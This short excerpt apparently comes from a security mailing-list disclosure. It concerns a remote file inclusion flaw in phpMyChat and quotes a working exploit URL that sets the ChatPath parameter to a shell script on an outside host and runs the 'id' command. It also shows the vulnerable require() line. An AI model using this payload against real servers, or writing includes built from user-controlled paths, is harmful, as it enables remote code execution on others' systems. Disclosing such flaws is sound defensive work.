Link: http://www.securityfocus.com/archive/1/465741/30/0/threaded
Author: k4rtal[at]gmail[dot]com
Quote from the thread:
"exploit : phpMyChat.php3?{ChatPath}=http://shelladresin.com/shell.txt?cmd=id"
phpMyChat.php3:
$ChatPath = "chat/";
require("./${ChatPath}lib/index.lib.php3");